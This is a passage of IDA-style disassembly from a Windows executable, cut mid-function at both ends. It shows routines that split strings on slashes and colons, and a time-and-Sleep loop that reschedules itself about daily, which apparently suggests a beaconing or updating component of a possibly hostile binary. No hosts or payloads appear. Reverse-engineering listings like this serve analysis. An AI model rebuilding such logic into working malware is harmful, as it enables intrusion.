mov byte ptr [ebp+var_4], 2
lea ecx, [ebp+var_14]
call sub_411512
mov byte ptr [ebp+var_4], 1
lea ecx, [ebp+var_24]
call sub_411512
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_18]
call sub_411512
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_1C]
call sub_4041A5
mov eax, [ebp+var_280C]
jmp loc_408D91
; ---------------------------------------------------------------------------
loc_408A03: ; CODE XREF: sub_40831F+68Bj
push 0
lea ecx, [ebp+var_1F9C]
call sub_409B80
mov byte ptr [ebp+var_4], 16h
push 7
push 0
push offset byte_4132B8
lea ecx, [ebp+var_1F9C]
call sub_409C00
mov [ebp+var_50], eax
cmp [ebp+var_50], 0
jge short loc_408AA6
push 0
push 0
mov edx, [ebp+var_50]
push edx
lea ecx, [ebp+var_27AC]
call sub_4099B0
mov [ebp+var_2810], 0FFFFFFFEh
lea ecx, [ebp+var_27AC]
call sub_409A40
mov byte ptr [ebp+var_4], 3
lea ecx, [ebp+var_1F9C]
call sub_409BB0
mov byte ptr [ebp+var_4], 2
lea ecx, [ebp+var_14]
call sub_411512
mov byte ptr [ebp+var_4], 1
lea ecx, [ebp+var_24]
call sub_411512
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_18]
call sub_411512
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_1C]
call sub_4041A5
mov eax, [ebp+var_2810]
jmp loc_408D91
; ---------------------------------------------------------------------------
loc_408AA6: ; CODE XREF: sub_40831F+710j
lea ecx, [ebp+var_34]
call sub_4097D0
mov byte ptr [ebp+var_4], 17h
push ecx
mov ecx, esp
mov [ebp+var_2814], esp
lea eax, [ebp+var_1C]
push eax
call sub_409640
mov [ebp+var_28C4], eax
mov ecx, [ebp+var_28C4]
mov [ebp+var_28C8], ecx
mov byte ptr [ebp+var_4], 18h
lea ecx, [ebp+var_1F9C]
call sub_409BD0
mov ecx, eax
mov byte ptr [ebp+var_4], 17h
call sub_409AF0
mov [ebp+var_28CA], ax
mov dx, [ebp+var_28CA]
push edx
lea ecx, [ebp+var_34]
call sub_409880
mov [ebp+var_4C], 0FFFFFFFFh
call dword_413028 ; RtlGetLastWin32Error
mov [ebp+var_4C], eax
lea ecx, [ebp+var_34]
call sub_4097F0
and eax, 0FFh
cmp eax, 1
jnz loc_408CB5
lea ecx, [ebp+var_27B0]
call sub_409CB0
mov byte ptr [ebp+var_4], 19h
lea eax, [ebp+var_2818]
push eax
lea ecx, [ebp+var_1F9C]
call sub_409BD0
mov ecx, eax
call sub_409A90
mov [ebp+var_28D0], eax
mov ecx, [ebp+var_28D0]
push ecx
lea ecx, [ebp+var_27B0]
call sub_409D30
lea ecx, [ebp+var_2818]
call sub_406293
push ecx
mov ecx, esp
mov [ebp+var_281C], esp
lea edx, [ebp+var_27B0]
push edx
call sub_409CD0
mov [ebp+var_28D4], eax
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_404484
mov [ebp+var_28D8], eax
mov eax, [ebp+var_28D8]
mov [ebp+var_1F98], eax
mov ecx, [ebp+var_1F98]
imul ecx, 1400Ch
mov [ebp+var_27B4], ecx
cmp [ebp+var_1F98], 0
jnz short loc_408BE6
mov edx, [ebp+var_27B4]
push edx
call dword_4131C8 ; malloc
add esp, 4
mov [ebp+var_27B8], eax
jmp short loc_408BFC
; ---------------------------------------------------------------------------
loc_408BE6: ; CODE XREF: sub_40831F+8ADj
mov eax, [ebp+var_27B4]
push eax
call dword_4131C8 ; malloc
add esp, 4
mov [ebp+var_27B8], eax
loc_408BFC: ; CODE XREF: sub_40831F+8C5j
mov ecx, [ebp+var_27B4]
push ecx
push 0
mov edx, [ebp+var_27B8]
push edx
call sub_411622 ; memset
add esp, 0Ch
push 19h
call dword_4130E0 ; Sleep
mov eax, [ebp+var_1F98]
push eax
mov ecx, [ebp+var_27B8]
push ecx
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_4033A7
push 18h
call dword_4130E0 ; Sleep
mov edx, [ebp+var_27B8]
push edx
push ecx
mov ecx, esp
mov [ebp+var_2820], esp
lea eax, [ebp+var_27B0]
push eax
call sub_409CD0
mov [ebp+var_28DC], eax
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_403488
push 17h
call dword_4130E0 ; Sleep
mov ecx, [ebp+var_1F98]
push ecx
mov edx, [ebp+var_27B8]
push edx
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_404605
mov eax, [ebp+var_27B8]
push eax
call dword_4131D4 ; free
add esp, 4
mov byte ptr [ebp+var_4], 17h
lea ecx, [ebp+var_27B0]
call sub_406293
jmp short loc_408D24
; ---------------------------------------------------------------------------
loc_408CB5: ; CODE XREF: sub_40831F+808j
lea ecx, [ebp+var_1C]
call sub_4096F0
push eax
call dword_413274
mov [ebp+var_2824], 0FFFFFFFDh
mov byte ptr [ebp+var_4], 16h
lea ecx, [ebp+var_34]
call sub_409990
mov byte ptr [ebp+var_4], 3
lea ecx, [ebp+var_1F9C]
call sub_409BB0
mov byte ptr [ebp+var_4], 2
lea ecx, [ebp+var_14]
call sub_411512
mov byte ptr [ebp+var_4], 1
lea ecx, [ebp+var_24]
call sub_411512
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_18]
call sub_411512
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_1C]
call sub_4041A5
mov eax, [ebp+var_2824]
jmp short loc_408D91
; ---------------------------------------------------------------------------
loc_408D24: ; CODE XREF: sub_40831F+994j
lea ecx, [ebp+var_1C]
call sub_4096F0
push eax
call dword_413274
mov [ebp+var_2828], 1
mov byte ptr [ebp+var_4], 16h
lea ecx, [ebp+var_34]
call sub_409990
mov byte ptr [ebp+var_4], 3
lea ecx, [ebp+var_1F9C]
call sub_409BB0
mov byte ptr [ebp+var_4], 2
lea ecx, [ebp+var_14]
call sub_411512
mov byte ptr [ebp+var_4], 1
lea ecx, [ebp+var_24]
call sub_411512
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_18]
call sub_411512
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_1C]
call sub_4041A5
mov eax, [ebp+var_2828]
loc_408D91: ; CODE XREF: sub_40831F+5DEj
; sub_40831F+6DFj ...
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_40831F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408D9F proc near ; CODE XREF: sub_4091F5+B0p
var_807C = dword ptr -807Ch
var_8078 = dword ptr -8078h
var_8074 = dword ptr -8074h
var_8070 = dword ptr -8070h
var_806C = dword ptr -806Ch
var_8068 = dword ptr -8068h
var_8064 = dword ptr -8064h
var_8060 = dword ptr -8060h
var_805C = dword ptr -805Ch
var_8058 = dword ptr -8058h
var_8054 = dword ptr -8054h
var_8050 = dword ptr -8050h
var_804C = dword ptr -804Ch
var_8048 = dword ptr -8048h
var_8044 = dword ptr -8044h
var_8040 = byte ptr -8040h
var_803C = byte ptr -803Ch
var_8038 = byte ptr -8038h
var_8034 = byte ptr -8034h
var_8030 = byte ptr -8030h
var_802C = byte ptr -802Ch
var_8028 = byte ptr -8028h
var_8024 = byte ptr -8024h
var_8020 = byte ptr -8020h
var_801C = byte ptr -801Ch
var_8018 = dword ptr -8018h
var_8014 = byte ptr -8014h
var_6014 = byte ptr -6014h
var_4014 = byte ptr -4014h
var_4010 = byte ptr -4010h
var_2010 = byte ptr -2010h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_408D9F
mov eax, large fs:0
push eax
mov large fs:0, esp
mov eax, 8070h
call sub_4115D0
mov [ebp+var_8044], ecx
mov [ebp+var_801C], 1
lea ecx, [ebp+var_4014]
call sub_41151E
mov [ebp+var_4], 0
push offset dword_41BCD0
lea ecx, [ebp+var_4014]
call sub_411518
lea ecx, [ebp+var_4014]
call sub_408070
test eax, eax
jnz short loc_408E4B
lea eax, [ebp+var_8024]
push eax
mov ecx, [ebp+var_8044]
add ecx, 8
call sub_405A64
mov [ebp+var_8048], eax
mov ecx, [ebp+var_8048]
mov [ebp+var_804C], ecx
mov byte ptr [ebp+var_4], 1
mov edx, [ebp+var_804C]
push edx
lea ecx, [ebp+var_4014]
call sub_411518
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_8024]
call sub_411512
loc_408E4B: ; CODE XREF: sub_408D9F+5Ej
lea ecx, [ebp+var_4014]
call sub_4026A0
push eax
lea eax, [ebp+var_6014]
push eax
call dword_4130CC ; lstrcpyA
lea ecx, [ebp+var_6014]
push ecx
call dword_4130BC ; lstrlenA
push eax
lea edx, [ebp+var_6014]
push edx
lea eax, [ebp+var_8028]
push eax
mov ecx, [ebp+var_8044]
add ecx, 8
call sub_4030F7
mov [ebp+var_8050], eax
mov ecx, [ebp+var_8050]
mov [ebp+var_8054], ecx
mov byte ptr [ebp+var_4], 2
mov edx, [ebp+var_8054]
push edx
lea ecx, [ebp+var_4014]
call sub_411518
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_8028]
call sub_411512
lea ecx, [ebp+var_4014]
call sub_4026A0
push eax
lea eax, [ebp+var_8014]
push eax
call dword_41329C ; wsprintfA
add esp, 8
movsx ecx, [ebp+var_8014]
cmp ecx, 2Fh
jnz loc_4091AA
push 0
push 1
lea edx, [ebp+var_8014]
push edx
lea eax, [ebp+var_802C]
push eax
lea ecx, [ebp+var_8020]
call sub_401ACF
mov [ebp+var_8058], eax
mov ecx, [ebp+var_8058]
mov [ebp+var_805C], ecx
mov byte ptr [ebp+var_4], 3
mov ecx, [ebp+var_805C]
call sub_4026A0
push eax
lea edx, [ebp+var_8014]
push edx
call sub_411628 ; strcpy
add esp, 8
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_802C]
call sub_411512
loc_408F4E: ; CODE XREF: sub_408D9F:loc_4091A5j
push 2Fh
lea eax, [ebp+var_8014]
push eax
lea ecx, [ebp+var_8020]
call sub_401A20
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz loc_4091AA
cmp [ebp+var_10], 0FFFFFFFFh
jnz short loc_408F8B
lea ecx, [ebp+var_8014]
push ecx
lea edx, [ebp+var_4010]
push edx
call dword_4130CC ; lstrcpyA
jmp short loc_408FE8
; ---------------------------------------------------------------------------
loc_408F8B: ; CODE XREF: sub_408D9F+1D4j
mov eax, [ebp+var_10]
push eax
push 0
lea ecx, [ebp+var_8014]
push ecx
lea edx, [ebp+var_8030]
push edx
lea ecx, [ebp+var_8020]
call sub_401ACF
mov [ebp+var_8060], eax
mov eax, [ebp+var_8060]
mov [ebp+var_8064], eax
mov byte ptr [ebp+var_4], 4
mov ecx, [ebp+var_8064]
call sub_4026A0
push eax
lea ecx, [ebp+var_4010]
push ecx
call dword_4130CC ; lstrcpyA
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_8030]
call sub_411512
loc_408FE8: ; CODE XREF: sub_408D9F+1EAj
push 0
mov edx, [ebp+var_10]
add edx, 1
push edx
lea eax, [ebp+var_8014]
push eax
lea ecx, [ebp+var_8034]
push ecx
lea ecx, [ebp+var_8020]
call sub_401ACF
mov [ebp+var_8068], eax
mov edx, [ebp+var_8068]
mov [ebp+var_806C], edx
mov byte ptr [ebp+var_4], 5
mov ecx, [ebp+var_806C]
call sub_4026A0
push eax
lea eax, [ebp+var_8014]
push eax
call dword_4130CC ; lstrcpyA
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_8034]
call sub_411512
push 3Ah
lea ecx, [ebp+var_4010]
push ecx
lea ecx, [ebp+var_8020]
call sub_401A20
mov [ebp+var_8018], eax
cmp [ebp+var_8018], 0FFFFFFFFh
jz loc_409134
mov edx, [ebp+var_8018]
push edx
push 0
lea eax, [ebp+var_4010]
push eax
lea ecx, [ebp+var_8038]
push ecx
lea ecx, [ebp+var_8020]
call sub_401ACF
mov [ebp+var_8070], eax
mov edx, [ebp+var_8070]
mov [ebp+var_8074], edx
mov byte ptr [ebp+var_4], 6
mov ecx, [ebp+var_8074]
call sub_4026A0
push eax
lea eax, [ebp+var_2010]
push eax
call dword_4130CC ; lstrcpyA
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_8038]
call sub_411512
push 0
mov ecx, [ebp+var_8018]
add ecx, 1
push ecx
lea edx, [ebp+var_4010]
push edx
lea eax, [ebp+var_803C]
push eax
lea ecx, [ebp+var_8020]
call sub_401ACF
mov [ebp+var_8078], eax
mov ecx, [ebp+var_8078]
mov [ebp+var_807C], ecx
mov byte ptr [ebp+var_4], 7
mov ecx, [ebp+var_807C]
call sub_4026A0
push eax
lea edx, [ebp+var_4010]
push edx
call dword_4130CC ; lstrcpyA
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_803C]
call sub_411512
jmp short loc_40915E
; ---------------------------------------------------------------------------
loc_409134: ; CODE XREF: sub_408D9F+2CAj
lea eax, [ebp+var_4010]
push eax
lea ecx, [ebp+var_2010]
push ecx
call dword_4130CC ; lstrcpyA
push 2000h
push 0
lea edx, [ebp+var_4010]
push edx
call sub_411622 ; memset
add esp, 0Ch
loc_40915E: ; CODE XREF: sub_408D9F+393j
push 3
push offset aOld ; "old"
lea eax, [ebp+var_2010]
push eax
call dword_4131AC ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_40919D
lea ecx, [ebp+var_4010]
push ecx
call sub_4021DB
add esp, 4
test eax, eax
jz short loc_40919D
push 1
lea edx, [ebp+var_4010]
push edx
call sub_401C92
add esp, 8
loc_40919D: ; CODE XREF: sub_408D9F+3D8j
; sub_408D9F+3EBj
cmp [ebp+var_10], 0FFFFFFFFh
jnz short loc_4091A5
jmp short loc_4091AA
; ---------------------------------------------------------------------------
loc_4091A5: ; CODE XREF: sub_408D9F+402j
jmp loc_408F4E
; ---------------------------------------------------------------------------
loc_4091AA: ; CODE XREF: sub_408D9F+14Cj
; sub_408D9F+1CAj ...
mov ecx, [ebp+var_8044]
add ecx, 10h
call sub_408070
test eax, eax
jnz short loc_4091C3
mov [ebp+var_801C], 0
loc_4091C3: ; CODE XREF: sub_408D9F+41Bj
mov al, [ebp+var_801C]
mov [ebp+var_8040], al
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_4014]
call sub_411512
mov al, [ebp+var_8040]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_408D9F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4091F5 proc near ; CODE XREF: sub_4093D8+F4p
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_4091F5
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_10], esp
mov [ebp+var_28], ecx
mov [ebp+var_4], 0
lea eax, [ebp+var_14]
push eax
call dword_4131A4 ; time
add esp, 4
mov ecx, [ebp+var_28]
add ecx, 2040h
push ecx
mov edx, esp
mov [ebp+var_20], esp
push ecx
mov ecx, edx
call sub_411506
mov [ebp+var_2C], eax
mov ecx, [ebp+var_28]
add ecx, 8
call sub_405E1F
push 1Eh
call dword_4130E0 ; Sleep
push 0
mov ecx, [ebp+var_28]
add ecx, 8
call sub_40543F
mov [ebp+var_30], eax
mov eax, [ebp+var_28]
mov ecx, [ebp+var_30]
mov [eax], ecx
mov [ebp+var_18], 2
push 20h
call dword_4130E0 ; Sleep
loc_409282: ; CODE XREF: sub_4091F5:loc_40939Fj
mov edx, [ebp+var_28]
xor eax, eax
mov al, [edx+20h]
test eax, eax
jnz loc_4093A4
cmp [ebp+var_18], 2
jnz loc_4093A4
cmp [ebp+var_18], 0
jle short loc_4092AA
mov ecx, [ebp+var_28]
call sub_408D9F
loc_4092AA: ; CODE XREF: sub_4091F5+ABj
; sub_4091F5+E1j
cmp [ebp+var_18], 0
jle short loc_4092BB
push 855h
call dword_4130E0 ; Sleep
loc_4092BB: ; CODE XREF: sub_4091F5+B9j
cmp [ebp+var_18], 0FFFFFFFFh
jle short loc_4092CE
lea ecx, [ebp+var_14]
push ecx
call dword_4131A4 ; time
add esp, 4
loc_4092CE: ; CODE XREF: sub_4091F5+CAj
mov edx, [ebp+var_28]
mov eax, [edx]
cmp eax, [ebp+var_14]
jg short loc_4092AA
push 0
call dword_4132B0
test eax, eax
jge short loc_4092EB
xor al, al
jmp loc_4093C7
; ---------------------------------------------------------------------------
loc_4092EB: ; CODE XREF: sub_4091F5+EDj
mov ecx, [ebp+var_28]
call sub_40831F
mov [ebp+var_34], eax
mov ecx, [ebp+var_34]
mov [ebp+var_1C], ecx
push 22h
call dword_4130E0 ; Sleep
call dword_4132A4
push 20h
call dword_4130E0 ; Sleep
cmp [ebp+var_1C], 0
jle short loc_409332
push 0
mov ecx, [ebp+var_28]
add ecx, 8
call sub_40543F
mov [ebp+var_38], eax
mov edx, [ebp+var_28]
mov eax, [ebp+var_38]
mov [edx], eax
jmp short loc_40935D
; ---------------------------------------------------------------------------
loc_409332: ; CODE XREF: sub_4091F5+121j
push 1Ch
call dword_4130E0 ; Sleep
push 15182h
mov ecx, [ebp+var_28]
add ecx, 8
call sub_40543F
mov [ebp+var_3C], eax
mov ecx, [ebp+var_28]
mov edx, [ebp+var_3C]
mov [ecx], edx
push 1Dh
call dword_4130E0 ; Sleep
loc_40935D: ; CODE XREF: sub_4091F5+13Bj
lea eax, [ebp+var_14]
push eax
call dword_4131A4 ; time
add esp, 4
mov ecx, [ebp+var_28]
mov edx, [ecx]
cmp edx, [ebp+var_14]
jge short loc_40939F
push 1Eh
call dword_4130E0 ; Sleep
push 15181h
mov ecx, [ebp+var_28]
add ecx, 8
call sub_40543F
mov [ebp+var_40], eax
mov eax, [ebp+var_28]
mov ecx, [ebp+var_40]
mov [eax], ecx
push 1Fh
call dword_4130E0 ; Sleep
loc_40939F: ; CODE XREF: sub_4091F5+17Dj
jmp loc_409282
; ---------------------------------------------------------------------------
loc_4093A4: ; CODE XREF: sub_4091F5+97j
; sub_4091F5+A1j
mov edx, [ebp+var_18]
add edx, 1
mov [ebp+var_18], edx
jmp short loc_4093BE
; ---------------------------------------------------------------------------
loc_4093AF: ; DATA XREF: HSho:00415D44o
mov [ebp+var_24], 0
mov eax, offset loc_4093B9
retn
; ---------------------------------------------------------------------------
loc_4093B9: ; DATA XREF: sub_4091F5+1BEo
mov al, [ebp+var_24]
jmp short loc_4093C7
; ---------------------------------------------------------------------------
loc_4093BE: ; CODE XREF: sub_4091F5+1B8j
mov [ebp+var_4], 0FFFFFFFFh
mov al, 1
loc_4093C7: ; CODE XREF: sub_4091F5+F1j
; sub_4091F5+1C7j
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4091F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4093D8 proc near ; CODE XREF: HSho:004117B9p
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, [ebp+arg_8]
push eax
mov ecx, offset dword_41BCD0
call sub_41150C
push 1Ah
call dword_4130E0 ; Sleep
mov ecx, offset dword_419C90
call sub_4091F5
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
retn 10h
sub_4093D8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409540 proc near ; CODE XREF: sub_408310+8p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_409540
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov [ebp+var_4], 2
mov ecx, [ebp+var_10]
add ecx, 2040h
call sub_411512
mov byte ptr [ebp+var_4], 1
mov ecx, [ebp+var_10]
add ecx, 203Ch
call sub_411512
mov byte ptr [ebp+var_4], 0
mov ecx, [ebp+var_10]
add ecx, 8
call sub_402BB1
mov [ebp+var_4], 0FFFFFFFFh
mov ecx, [ebp+var_10]
add ecx, 4
call sub_411512
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_409540 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4095C0 proc near ; CODE XREF: sub_4082EF+8p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_4095C0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov ecx, [ebp+var_10]
add ecx, 4
call sub_41151E
mov [ebp+var_4], 0
mov ecx, [ebp+var_10]
add ecx, 8
call sub_402A1E
mov byte ptr [ebp+var_4], 1
mov ecx, [ebp+var_10]
add ecx, 203Ch
call sub_41151E
mov byte ptr [ebp+var_4], 2
mov ecx, [ebp+var_10]
add ecx, 2040h
call sub_41151E
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_10]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_4095C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409640 proc near ; CODE XREF: sub_40831F+7A0p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov edx, [ecx]
mov [eax], edx
mov ecx, [ebp+var_4]
call sub_409750
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_409640 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409670 proc near ; CODE XREF: sub_40831F+673p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_409670
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 10h
mov [ebp+var_18], ecx
mov ecx, [ebp+var_18]
call sub_4041A5
push 0Ch
call sub_4114F4
add esp, 4
mov [ebp+var_14], eax
mov [ebp+var_4], 0
cmp [ebp+var_14], 0
jz short loc_4096C1
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_14]
call sub_4041E3
mov [ebp+var_1C], eax
jmp short loc_4096C8
; ---------------------------------------------------------------------------
loc_4096C1: ; CODE XREF: sub_409670+3Ej
mov [ebp+var_1C], 0
loc_4096C8: ; CODE XREF: sub_409670+4Fj
mov ecx, [ebp+var_1C]
mov [ebp+var_10], ecx
mov [ebp+var_4], 0FFFFFFFFh
mov edx, [ebp+var_18]
mov eax, [ebp+var_10]
mov [edx], eax
mov eax, [ebp+var_18]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_409670 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4096F0 proc near ; CODE XREF: sub_40831F+690p
; sub_40831F+999p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0
jz short loc_409710
mov ecx, [ebp+var_4]
mov ecx, [ecx]
call sub_409790
mov [ebp+var_8], eax
jmp short loc_409717
; ---------------------------------------------------------------------------
loc_409710: ; CODE XREF: sub_4096F0+Fj
mov [ebp+var_8], 0
loc_409717: ; CODE XREF: sub_4096F0+1Ej
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_4096F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409720 proc near ; CODE XREF: sub_40831F+683p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0
jz short loc_409740
mov ecx, [ebp+var_4]
mov ecx, [ecx]
call sub_4097A0
mov [ebp+var_8], eax
jmp short loc_409747
; ---------------------------------------------------------------------------
loc_409740: ; CODE XREF: sub_409720+Fj
mov [ebp+var_8], 0
loc_409747: ; CODE XREF: sub_409720+1Ej
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_409720 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409750 proc near ; CODE XREF: sub_409640+14p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0
jz short loc_409769
mov ecx, [ebp+var_4]
mov ecx, [ecx]
call sub_409770
loc_409769: ; CODE XREF: sub_409750+Dj
mov esp, ebp
pop ebp
retn
sub_409750 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409770 proc near ; CODE XREF: sub_409750+14p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
add eax, 8
push eax
call dword_4130AC ; InterlockedIncrement
mov ecx, [ebp+var_4]
mov eax, [ecx+8]
mov esp, ebp
pop ebp
retn
sub_409770 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409790 proc near ; CODE XREF: sub_4096F0+16p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov eax, [eax]
mov esp, ebp
pop ebp
retn
sub_409790 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4097A0 proc near ; CODE XREF: sub_409720+16p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0
jz short loc_4097C2
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx
call dword_413278
mov [ebp+var_8], eax
jmp short loc_4097C9
; ---------------------------------------------------------------------------
loc_4097C2: ; CODE XREF: sub_4097A0+Fj
mov [ebp+var_8], 0
loc_4097C9: ; CODE XREF: sub_4097A0+20j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_4097A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4097D0 proc near ; CODE XREF: sub_40831F+78Ap
; sub_4097F0+3Cp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
push eax
call dword_413268
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4097D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4097F0 proc near ; CODE XREF: sub_40831F+7FBp
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_14 = word ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_4097F0
mov eax, large fs:0
push eax
